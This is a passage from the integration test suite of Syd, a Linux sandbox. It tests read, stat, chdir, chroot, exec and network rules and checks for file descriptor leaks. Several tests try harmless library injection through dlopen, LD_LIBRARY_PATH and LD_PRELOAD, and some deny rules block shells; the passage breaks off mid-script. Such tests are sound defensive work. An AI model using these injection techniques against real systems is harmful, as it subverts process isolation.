cat > load.c <<EOF
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int fd_leaks;

__attribute__((constructor))
void syd_init(void)
{
    DIR *dir;
    struct dirent *entry;
    int dir_fd;

    // Open the directory containing file descriptors
    dir = opendir("/proc/self/fd");
    if (!dir) {
        perror("Failed to open /proc/self/fd");
        fd_leaks = -1;
        return;
    }

    // Get the file descriptor for the directory stream
    dir_fd = dirfd(dir);
    if (dir_fd == -1) {
        perror("Failed to get file descriptor for directory");
        closedir(dir);
        fd_leaks = -1;
        return;
    }

    // Iterate over all entries in the directory
    while ((entry = readdir(dir)) != NULL) {
        int fd;
        char *end;

        // Convert the name of the entry to an integer
        fd = strtol(entry->d_name, &end, 10);
        if (*end != '\0' || entry->d_name == end) continue; // Skip non-integer entries

        // Build the path to the symbolic link for the file descriptor
        char link_path[4096];
        char target_path[4096];
        snprintf(link_path, sizeof(link_path), "/proc/self/fd/%d", fd);

        ssize_t len = readlink(link_path, target_path, sizeof(target_path) - 1);
        if (len > 0) {
            target_path[len] = '\0'; // Ensure null termination
            // We ignore standard input, output, and error which are 0, 1, and 2
            if (fd <= 2) {
                printf("Ignoring standard open fd %d -> %s...\n", fd, target_path);
            } else if (fd == dir_fd) {
                printf("Ignoring fd to current directory fd %d -> %s...\n", fd, target_path);
            } else if (fd == 256) {
                printf("Ignoring log fd that is present in init stage\n");
            } else {
                printf("!!! Leaked file descriptor %d -> %s !!!\n", fd, target_path);
                fd_leaks++;
            }
        } else {
            perror("Failed to read link");
            fd_leaks++;
        }
    }

    closedir(dir);
}

int syd_main(void)
{
    if (fd_leaks > 0) {
        printf("Detected %d file descriptor leaks during init!\n", fd_leaks);
    } else {
        printf("No file descriptor leaks detected during init!\n");
    }
    return fd_leaks;
}
EOF

cc -Wall -Wextra load.c -shared -o load.so -fPIC
    "##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Ensure SYD_LOG_FD is not leaked as well.
    dup2(2, 256).unwrap();

    // Load code.
    // ENOSYS = Dynamic linking not supported.
    // SYD_SKIP_SCMP=1 to avoid confining of the Syd main thread,
    // otherwise write(2) calls that are called from the library
    // constructor will risk getting killed.
    let status = syd()
        .env("SYD_SKIP_SCMP", "YesPlease")
        .log_fd(256)
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .argv(["./load.so"])
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    if code != nix::libc::ENOSYS {
        assert_status_ok!(status);
    } else {
        eprintln!("Dynamic linking not supported, skipping!");
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

fn test_syd_exec_program_check_fd_leaks_bare() -> TestResult {
    skip_unless_available!("cc", "sh");

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > exec.c <<EOF
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void) {
    DIR *dir;
    struct dirent *entry;
    int fd_leaks = 0, dir_fd;

    // Open the directory containing file descriptors
    dir = opendir("/proc/self/fd");
    if (!dir) {
        perror("Failed to open /proc/self/fd");
        return -1; // Return -1 in case of error
    }

    // Get the file descriptor for the directory stream
    dir_fd = dirfd(dir);
    if (dir_fd == -1) {
        perror("Failed to get file descriptor for directory");
        closedir(dir);
        return -1; // Return -1 in case of error
    }

    // Iterate over all entries in the directory
    while ((entry = readdir(dir)) != NULL) {
        int fd;
        char *end;

        // Convert the name of the entry to an integer
        fd = strtol(entry->d_name, &end, 10);
        if (*end != '\0' || entry->d_name == end) continue; // Skip non-integer entries

        // Build the path to the symbolic link for the file descriptor
        char link_path[4096];
        char target_path[4096];
        snprintf(link_path, sizeof(link_path), "/proc/self/fd/%d", fd);

        ssize_t len = readlink(link_path, target_path, sizeof(target_path) - 1);
        if (len > 0) {
            target_path[len] = '\0'; // Ensure null termination
            // We ignore standard input, output, and error which are 0, 1, and 2
            if (fd <= 2) {
                printf("Ignoring standard open fd %d -> %s...\n", fd, target_path);
            } else if (fd == dir_fd) {
                printf("Ignoring fd to current directory fd %d -> %s...\n", fd, target_path);
            } else {
                printf("!!! Leaked file descriptor %d -> %s !!!\n", fd, target_path);
                fd_leaks++;
            }
        } else {
            perror("Failed to read link");
            fd_leaks++;
        }
    }

    closedir(dir);
    return fd_leaks;
}
EOF

cc -Wall -Wextra exec.c -o exec
    "##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Ensure SYD_LOG_FD is not leaked as well.
    dup2(2, 256).unwrap();

    // Execute code.
    let status = syd()
        .log_fd(256)
        .p("off")
        .argv(["./exec"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

fn test_syd_exec_program_check_fd_leaks_wrap() -> TestResult {
    skip_unless_available!("cc", "sh");
    skip_unless_unshare!();

    let status = Command::new("sh")
        .arg("-cex")
        .arg(
            r##"
cat > exec.c <<EOF
#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

int main(void) {
    DIR *dir;
    struct dirent *entry;
    int fd_leaks = 0, dir_fd;

    // Open the directory containing file descriptors
    dir = opendir("/proc/self/fd");
    if (!dir) {
        perror("Failed to open /proc/self/fd");
        return -1; // Return -1 in case of error
    }

    // Get the file descriptor for the directory stream
    dir_fd = dirfd(dir);
    if (dir_fd == -1) {
        perror("Failed to get file descriptor for directory");
        closedir(dir);
        return -1; // Return -1 in case of error
    }

    // Iterate over all entries in the directory
    while ((entry = readdir(dir)) != NULL) {
        int fd;
        char *end;

        // Convert the name of the entry to an integer
        fd = strtol(entry->d_name, &end, 10);
        if (*end != '\0' || entry->d_name == end) continue; // Skip non-integer entries

        // Build the path to the symbolic link for the file descriptor
        char link_path[4096];
        char target_path[4096];
        snprintf(link_path, sizeof(link_path), "/proc/self/fd/%d", fd);

        ssize_t len = readlink(link_path, target_path, sizeof(target_path) - 1);
        if (len > 0) {
            target_path[len] = '\0'; // Ensure null termination
            // We ignore standard input, output, and error which are 0, 1, and 2
            if (fd <= 2) {
                printf("Ignoring standard open fd %d -> %s...\n", fd, target_path);
            } else if (fd == dir_fd) {
                printf("Ignoring fd to current directory fd %d -> %s...\n", fd, target_path);
            } else {
                printf("!!! Leaked file descriptor %d -> %s !!!\n", fd, target_path);
                fd_leaks++;
            }
        } else {
            perror("Failed to read link");
            fd_leaks++;
        }
    }

    closedir(dir);
    return fd_leaks;
}
EOF

cc -Wall -Wextra exec.c -o exec
    "##,
        )
        .status()
        .expect("execute sh");
    assert_status_ok!(status);

    // Ensure SYD_LOG_FD is not leaked as well.
    dup2(2, 256).unwrap();

    // Execute code.
    let status = syd()
        .log_fd(256)
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .argv(["./exec"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if read sandboxing for open works to allow.
fn test_syd_read_sandbox_open_allow() -> TestResult {
    skip_unless_available!("dd");

    let status = syd()
        .p("off")
        .m("sandbox/read,stat:on")
        .m("allow/read,stat+/***")
        .m("deny/read+/dev/***")
        .m("allow/read+/dev/null")
        .argv(["dd", "if=/dev/null"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if read sandboxing for open works to deny.
fn test_syd_read_sandbox_open_deny() -> TestResult {
    skip_unless_available!("cat");

    let status = syd()
        .p("off")
        .m("sandbox/read:on")
        .m("allow/read+/***")
        .m("deny/read+/dev/null")
        .argv(["cat", "/dev/null"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if stat sandboxing for chdir works to allow.
fn test_syd_chdir_sandbox_allow_1() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .m("deny/chdir+/dev")
        .m("allow/chdir+/dev")
        .argv(["sh", "-cex", "cd /dev"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if stat sandboxing for chdir works to allow.
fn test_syd_chdir_sandbox_allow_2() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/chdir:on")
        .m("allow/chdir+/***")
        .m("deny/chdir+/dev")
        .m("allow/chdir+/dev")
        .argv(["sh", "-cex", "cd /dev"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if stat sandboxing for stat works to hide.
fn test_syd_chdir_sandbox_hide_1() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/chdir,stat:on")
        .m("allow/chdir,stat+/***")
        .m("deny/chdir,stat+/dev")
        .argv(["sh", "-cx", "cd /dev || exit 42"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);
    Ok(())
}

// Tests if stat sandboxing for stat works to hide.
fn test_syd_chdir_sandbox_hide_2() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/chdir,stat:on")
        .m("allow/chdir,stat+/***")
        .m("deny/chdir,stat+/dev")
        .argv(["sh", "-cx", "cd /dev || exit 42"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);
    Ok(())
}

// Check if chroot sandboxing works to allow.
fn test_syd_chroot_sandbox_allow_default() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chroot:on")
        .m("allow/chroot+/***")
        .m("deny/chroot+/proc/self/fdinfo")
        .m("allow/chroot+/proc/self/fdinfo")
        .do_("chroot", ["/proc/self/fdinfo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check if chroot sandboxing works to allow.
fn test_syd_chroot_sandbox_allow_unsafe() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chroot:on")
        .m("trace/allow_unsafe_chroot:1")
        .do_("chroot", ["/proc/self/fdinfo"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check if chroot sandboxing works to deny.
fn test_syd_chroot_sandbox_deny() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chroot:on")
        .m("allow/chroot+/***")
        .m("deny/chroot+/proc/self/fdinfo")
        .do_("chroot", ["/proc/self/fdinfo"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    Ok(())
}

// Check if chroot sandboxing works to hide.
fn test_syd_chroot_sandbox_hide() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/chroot,stat:on")
        .m("allow/chroot,stat+/***")
        .m("deny/chroot,stat+/proc/self/fdinfo")
        .do_("chroot", ["/proc/self/fdinfo"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);

    Ok(())
}

// Tests if stat sandboxing for stat works to allow.
fn test_syd_stat_sandbox_stat_allow() -> TestResult {
    skip_unless_available!("ls");

    let status = syd()
        .p("off")
        .m("sandbox/stat:on")
        .m("allow/stat+/***")
        .m("deny/stat+/dev/null")
        .m("allow/stat+/dev/null")
        .argv(["ls", "/dev/null"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if stat sandboxing for stat works to hide.
fn test_syd_stat_sandbox_stat_hide() -> TestResult {
    skip_unless_available!("ls");

    let status = syd()
        .p("off")
        .m("sandbox/stat:on")
        .m("allow/stat+/***")
        .m("deny/stat+/dev/null")
        .argv(["ls", "/dev/null"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if stat sandboxing for getdents works to allow.
fn test_syd_readdir_sandbox_getdents_allow() -> TestResult {
    skip_unless_available!("ls");

    let output = syd()
        .p("off")
        .m("sandbox/readdir:on")
        .m("allow/readdir+/***")
        .m("deny/readdir+/dev/zero")
        .m("allow/readdir+/dev/zero")
        .argv(["ls", "/dev"])
        .output()
        .expect("execute syd");
    assert!(
        output
            .stdout
            .windows(b"zero".len())
            .any(|window| window == b"zero"),
        "Stdout:\n{:?}",
        output.stdout
    );

    Ok(())
}

// Tests if stat sandboxing for getdents works to hide.
fn test_syd_readdir_sandbox_getdents_hide() -> TestResult {
    skip_unless_available!("ls");

    let output = syd()
        .p("off")
        .m("sandbox/readdir:on")
        .m("allow/readdir+/***")
        .m("deny/readdir+/dev/zero")
        .argv(["ls", "/dev"])
        .output()
        .expect("execute syd");
    assert!(
        output
            .stdout
            .windows(b"zero".len())
            .any(|window| window != b"zero"),
        "Stdout:{:?}",
        output.stdout
    );

    Ok(())
}

// Tests if stat sandboxing can be bypassed by read attempt
fn test_syd_stat_bypass_with_read() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/read,stat:on")
        .m("allow/read,stat+/***")
        .m("deny/read,stat+/etc/***")
        .m("allow/read,stat+/etc/ld*/***")
        .do_("stat_bypass_with_read", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if stat sandboxing can be bypassed by write attempt
fn test_syd_stat_bypass_with_write() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/stat,write,create:on")
        .m("allow/stat,write,create+/***")
        .m("deny/stat,write,create+/etc/***")
        .m("allow/stat+/etc/ld*/***")
        .do_("stat_bypass_with_write", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if stat sandboxing can be bypassed by exec attempt
fn test_syd_stat_bypass_with_exec() -> TestResult {
    let status = syd()
        .p("off")
        .m("sandbox/exec,stat:on")
        .m("allow/exec,stat+/***")
        .m("deny/exec,stat+/**/z?sh")
        .m("deny/exec,stat+/**/[bd]ash")
        .m("deny/exec,stat+/**/busybox")
        .do_("stat_bypass_with_exec", NONE)
        .status()
        .expect("execute syd");
    assert_status_ok!(status);
    Ok(())
}

// Tests if write sandboxing for open works to allow.
fn test_syd_write_sandbox_open_allow() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/dev/***") // may need TTY!
        .m("deny/write+/dev/null")
        .m("allow/write+/dev/null")
        .argv(["sh", "-cex", "echo welcome to the machine >> /dev/null"])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if write sandboxing for open works to deny.
fn test_syd_write_sandbox_open_deny() -> TestResult {
    skip_unless_available!("sh");

    let status = syd()
        .p("off")
        .m("sandbox/write:on")
        .m("allow/write+/***")
        .m("deny/write+/dev/null")
        .argv(["sh", "-cex", "echo welcome to the machine >> /dev/null"])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Tests if exec sandboxing works to allow.
fn test_syd_exec_sandbox_open_allow() -> TestResult {
    skip_unless_available!("true");

    let bin = which("true")?;
    let status = syd()
            .p("off")
            .m("sandbox/exec:on")
            .m("deny/exec+/***")
            .m("allow/exec+/**/*.so*")
            .m(format!("allow/exec+{bin}"))
            .arg("-atrue") // this may be busybox
        .argv([
            &bin.to_string(),
        ])
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if exec sandboxing works to deny.
fn test_syd_exec_sandbox_open_deny() -> TestResult {
    skip_unless_available!("true");

    let bin = which("true")?;
    let status = syd()
            .p("off")
            .m("sandbox/exec:on")
            .m("allow/exec+/***")
            .m(format!("deny/exec+{bin}"))
            .arg("-atrue") // this may be busybox
        .argv([
            &bin.to_string(),
        ])
        .status()
        .expect("execute syd");
    assert_status_not_ok!(status);

    Ok(())
}

// Check if #! interpreter path of scripts are properly sandboxed.
fn test_syd_exec_sandbox_deny_binfmt_script() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("sh");

    // Write script.
    let path = "./script.sh";
    let script = r#"#!/bin/sh -ex
exit 42
"#;
    let mut file = File::create(path)?;
    write!(file, "{script}")?;
    drop(file); // Close the file to avoid ETXTBUSY.

    syd::fs::chmod_x(path).expect("Failed to make file executable");

    // Step 1: Allow both the interpreter and the script.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["./script.sh"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    // Step 2: Allow the interpreter but disable the script.
    //      2.1: EACCES with stat sandboxing off.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/script.sh")
        .argv(["./script.sh"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);
    //      2.2: ENOENT with stat sandboxing on.
    let status = syd()
        .p("off")
        .m("sandbox/exec,stat:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/script.sh")
        .argv(["./script.sh"])
        .status()
        .expect("execute syd");
    assert_status_hidden!(status);
    //      2.3: EACCES when file is not hidden.
    let status = syd()
        .p("off")
        .m("sandbox/exec,stat:on")
        .m("allow/exec,stat+/***")
        .m("deny/exec+/**/script.sh")
        .argv(["./script.sh"])
        .status()
        .expect("execute syd");
    assert_status_denied!(status);

    // Step 3: Allow the script but disable the interpreter.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("deny/exec+/***")
        .m("allow/exec+/**/*.so*")
        .m("allow/exec+/**/script.sh")
        .argv(["./script.sh"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    Ok(())
}

// Check if a script which has an interpreter that itself is a script is properly sandboxed.
fn test_syd_exec_sandbox_many_binfmt_script() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("sh");

    // Write script1 whose interpreter points to script2.
    let path1 = "./script1.sh";
    let script1 = r#"#!./script2.sh
"#;
    let mut file1 = File::create(path1)?;
    write!(file1, "{script1}")?;

    // Write script2 whole interpreter points to /bin/sh.
    let path2 = "./script2.sh";
    let script2 = r#"#!/bin/sh -ex
exit 42
"#;
    let mut file2 = File::create(path2)?;
    write!(file2, "{script2}")?;

    // Close the files to avoid ETXTBUSY.
    drop(file1);
    drop(file2);

    // Set permissions to make the scripts executable.
    for path in [path1, path2] {
        syd::fs::chmod_x(path).expect("Failed to set file executable");
    }

    // Step 1: Allow both the interpreter and the script.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .argv(["./script1.sh"])
        .status()
        .expect("execute syd");
    assert_status_code!(status, 42);

    // Step 2: Allow the scripts but disable the interpreter.
    // This will slip through the seccomp sandbox
    // but it's caught by the exec-TOCTOU mitigator.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("deny/exec+/***")
        .m("allow/exec+/**/*.so*")
        .m("allow/exec+/**/script[1-2].sh")
        .argv(["./script1.sh"])
        .status()
        .expect("execute syd");
    assert_status_killed!(status);

    // Step 3: Allow the interpreter but disable the script2.
    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/script2.sh")
        .argv(["./script1.sh"])
        .status()
        .expect("execute syd");
    fixup!(
        status.code().unwrap_or(127) == nix::libc::EACCES,
        "status:{status:?}"
    );

    Ok(())
}

// Check if a denylisted library can be injected using dlopen().
fn test_syd_exec_sandbox_prevent_library_injection_dlopen_bare() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "python");

    let status = syd()
        .p("off")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .argv(["python", "-c"])
        .arg(
            r##"
import ctypes, os, shutil, subprocess, sys

if os.path.exists("test.c"):
    os.remove("test.c")
if os.path.exists("lib-bad"):
    shutil.rmtree("lib-bad")

CODE = "int test() { return 0; }"
COMP = ["cc", "-Wall", "-Wextra", "-shared", "-o", "./lib-bad/libtest.so", "-fPIC", "test.c"]
try:
    with open("test.c", "w") as f:
        f.write(CODE)
    os.mkdir("lib-bad", 0o700)
    subprocess.run(COMP, check=True)
except Exception as e:
    sys.stderr.write("Exception during compile: %r\n" % e)
    sys.exit(128)

try:
    libtest = ctypes.CDLL(f'./lib-bad/libtest.so')
except OSError as e:
    # XXX: ctypes does not set errno!
    # e.errno and e.strerror are 0 and None respectively.
    # and the str(e) can be "permission denied" or
    # "failed to map" so it's not reliably either.
    sys.stderr.write("Exception during dlopen: %r\n" % e)
    sys.exit(13)
else:
    sys.exit(libtest.test())
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(
        code == nix::libc::EACCES || code == 128,
        "code:{code} status:{status:?}"
    );
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check if a denylisted library can be injected using dlopen().
fn test_syd_exec_sandbox_prevent_library_injection_dlopen_wrap() -> TestResult {
    skip_if_strace!();
    skip_unless_unshare!();
    skip_unless_available!("cc", "python");

    let status = syd()
        .p("off")
        .m("unshare/user:1")
        .m("unshare/pid:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .argv(["python", "-c"])
        .arg(
            r##"
import ctypes, os, shutil, subprocess, sys

if os.path.exists("test.c"):
    os.remove("test.c")
if os.path.exists("lib-bad"):
    shutil.rmtree("lib-bad")

CODE = "int test() { return 0; }"
COMP = ["cc", "-Wall", "-Wextra", "-shared", "-o", "./lib-bad/libtest.so", "-fPIC", "test.c"]
try:
    with open("test.c", "w") as f:
        f.write(CODE)
    os.mkdir("lib-bad", 0o700)
    subprocess.run(COMP, check=True)
except Exception as e:
    sys.stderr.write("Exception during compile: %r\n" % e)
    sys.exit(128)

try:
    libtest = ctypes.CDLL(f'./lib-bad/libtest.so')
except OSError as e:
    # XXX: ctypes does not set errno!
    # e.errno and e.strerror are 0 and None respectively.
    # and the str(e) can be "permission denied" or
    # "failed to map" so it's not reliably either.
    sys.stderr.write("Exception during dlopen: %r\n" % e)
    sys.exit(13)
else:
    sys.exit(libtest.test())
    "##,
        )
        .status()
        .expect("execute syd");
    let code = status.code().unwrap_or(127);
    assert!(
        code == nix::libc::EACCES || code == 128,
        "code:{code} status:{status:?}"
    );
    if code == 128 {
        // Compilation failed, test skipped.
        env::set_var("SYD_TEST_SOFT_FAIL", "1");
    }

    Ok(())
}

// Check if a denylisted library can be injected using LD_LIBRARY_PATH.
// Note the seccomp sandbox is not able to catch this.
// This is prevented by the TOCTOU-mitigator on exec(2) exit.
// Note, AT_SECURE mitigation is another defense against this,
// that is why we disable it with trace/allow_unsafe_libc:1
// during this test.
fn test_syd_exec_sandbox_prevent_library_injection_LD_LIBRARY_PATH() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .env("LD_TRACE_LOADED_OBJECTS", "YesPlease")
        .env("LD_VERBOSE", "YesPlease")
        .p("off")
        .m("trace/allow_unsafe_libc:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .argv(["sh", "-cex"])
        .arg(
            r##"
# Ensure syd's CWD does not match our CWD
mkdir -m700 -p foo
cd foo

cat > lib-good.c <<EOF
int func(void) { return 0; }
EOF

cat > lib-bad.c <<EOF
int func(void) { return 42; }
EOF

cat > bin.c <<EOF
extern int func(void);
int main(void) { return func(); }
EOF

mkdir -m700 -p lib-good lib-bad
cc -Wall -Wextra lib-good.c -shared -o lib-good/libext.so -fPIC
cc -Wall -Wextra lib-bad.c -shared -o lib-bad/libext.so -fPIC

cc -Wall -Wextra bin.c -L./lib-good -lext -obin
r=0
env LD_LIBRARY_PATH="./lib-good:$LD_LIBRARY_PATH" ./bin || r=$?
echo >&2 "Good returned: $r"
test $r -eq 0

r=0
env LD_LIBRARY_PATH="./lib-bad:$LD_LIBRARY_PATH" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -eq 42; then
    echo >&2 "Library injection succeded!"
    false
else
    echo >&2 "Library injection failed!"
    true
fi
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check if a denylisted library can be injected using LD_PRELOAD.
// Note the seccomp sandbox is not able to catch this.
// This is prevented by the TOCTOU-mitigator on exec(2) exit.
fn test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_safe() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .env("LD_TRACE_LOADED_OBJECTS", "YesPlease")
        .env("LD_VERBOSE", "YesPlease")
        .p("off")
        .m("trace/allow_unsafe_libc:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .argv(["sh", "-cex"])
        .arg(
            r##"
# Ensure syd's CWD does not match our CWD
mkdir -m700 -p foo
cd foo

cat > lib-good.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 0; }
EOF

cat > lib-bad.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 1; }
EOF

cat > bin.c <<EOF
#include <sys/syscall.h>
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
int main(void) {
    pid_t p_real = syscall(SYS_getpid);
    pid_t p_test = getpid();
    if (!p_test) {
        puts("Good library injected!");
        return 0;
    } else if (p_test == p_real) {
        puts("No library injected!");
        return 0;
    } else {
        puts("Bad library injected!");
        return p_test;
    }
}
EOF

mkdir -m700 -p lib-good lib-bad
cc -Wall -Wextra lib-good.c -shared -o lib-good/libext.so -fPIC
cc -Wall -Wextra lib-bad.c -shared -o lib-bad/libext.so -fPIC

cc -Wall -Wextra bin.c -obin
chmod +x bin
r=0
env LD_PRELOAD="./lib-good/libext.so" ./bin || r=$?
echo >&2 "Good returned: $r"
test $r -eq 0

r=0
env LD_PRELOAD="./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -ne 0; then
    echo >&2 "Library injection succeded!"
    false
else
    echo >&2 "Library injection failed!"
fi

r=0
env LD_PRELOAD="foo bar baz ./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -ne 0; then
    echo >&2 "Library injection succeded!"
    false
else
    echo >&2 "Library injection failed!"
    true
fi

r=0
env LD_PRELOAD="foo:bar:baz:./lib-bad/libext.so:a:b:c" ./bin || r=$?
echo >&2 "Bad returned: $r"
if test $r -ne 0; then
    echo >&2 "Library injection succeded!"
    false
else
    echo >&2 "Library injection failed!"
    true
fi
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Check if a denylisted library can be injected using LD_PRELOAD.
// Note the seccomp sandbox is not able to catch this.
// This is prevented by the TOCTOU-mitigator on exec(2) exit.
// Here we test with unsafe_ptrace:1 to see if injection works genuinely.
fn test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_unsafe() -> TestResult {
    skip_if_strace!();
    skip_unless_available!("cc", "sh");

    let status = syd()
        .env("LD_TRACE_LOADED_OBJECTS", "YesPlease")
        .env("LD_VERBOSE", "YesPlease")
        .p("off")
        .m("trace/allow_unsafe_libc:1")
        .m("trace/allow_unsafe_ptrace:1")
        .m("sandbox/exec:on")
        .m("allow/exec+/***")
        .m("deny/exec+/**/lib-bad/*.so")
        .argv(["sh", "-cex"])
        .arg(
            r##"
# Ensure syd's CWD does not match our CWD
mkdir -m700 -p foo
cd foo

cat > lib-good.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 0; }
EOF

cat > lib-bad.c <<EOF
#include <sys/types.h>
pid_t getpid(void) { return 1; }
EOF

cat > bin.c <<EOF
#include <sys/syscall.h>
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
int main(void) {
    pid_t p_real = syscall(SYS_getpid);
    pid_t p_test = getpid();
    if (!p_test) {
        puts("Good library injected!");
        return 0;
    } else if (p_test == p_real) {
        puts("No library injected!");
        return 0;
    } else {
        puts("Bad library injected!");
        return p_test;
    }
}
EOF

mkdir -m700 -p lib-good lib-bad
cc -Wall -Wextra lib-good.c -shared -o lib-good/libext.so -fPIC
cc -Wall -Wextra lib-bad.c -shared -o lib-bad/libext.so -fPIC

cc -Wall -Wextra bin.c -obin
r=0
env LD_PRELOAD="./lib-good/libext.so" ./bin || r=$?
echo >&2 "Good returned: $r"
test $r -eq 0

r=0
env LD_PRELOAD="./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
test $r -ne 0

r=0
env LD_PRELOAD="foo bar baz ./lib-bad/libext.so" ./bin || r=$?
echo >&2 "Bad returned: $r"
test $r -ne 0

r=0
env LD_PRELOAD="foo:bar:baz:./lib-bad/libext.so:a:b:c" ./bin || r=$?
echo >&2 "Bad returned: $r"
test $r -ne 0
    "##,
        )
        .status()
        .expect("execute syd");
    assert_status_ok!(status);

    Ok(())
}

// Tests if network connect sandboxing works with accept() & IPv4.
fn test_syd_network_sandbox_accept_ipv4() -> TestResult {
    // test -s is bash, not sh!
    skip_unless_available!("bash", "shuf", "socat");

    let status = syd()
        .p("off")
        .m("lock:exec")
        .m("sandbox/net/connect:on")
        .arg("bash")
        .arg("-cex")
        .arg(
            r##"
test -c '/dev/syd/sandbox/net/connect?'
test -c '/dev/syd/block+127.0.0.1'
set +x
p=`shuf -n1 -i31415-65535`
test -n "$SYD_TEST_ACCEPT_PORT" || SYD_TEST_ACCEPT_PORT=$p
echo >&2 "[*] Using port $SYD_TEST_ACCEPT_PORT on localhost, use SYD_TEST_ACCEPT_PORT to override."
echo 'Change return success. Going and coming without error. Action brings good fortune.' > chk
:>log
echo >&2 "[*] Spawning socat to listen on 127.0.0.1!$SYD_TEST_ACCEPT_PORT in the background."
set -x
socat -u -d -d FILE:chk TCP4-LISTEN:$SYD_TEST_ACCEPT_PORT,bind=127.0.0.1,forever 2>log &
set +x
p=$!
echo >&2 "[*] Waiting for background socat to start listening."
while test `grep -c listening log || echo 0` -lt 1; do :; done
echo >&2 "[*] Connect attempt 1: expecting fail..."
set -x
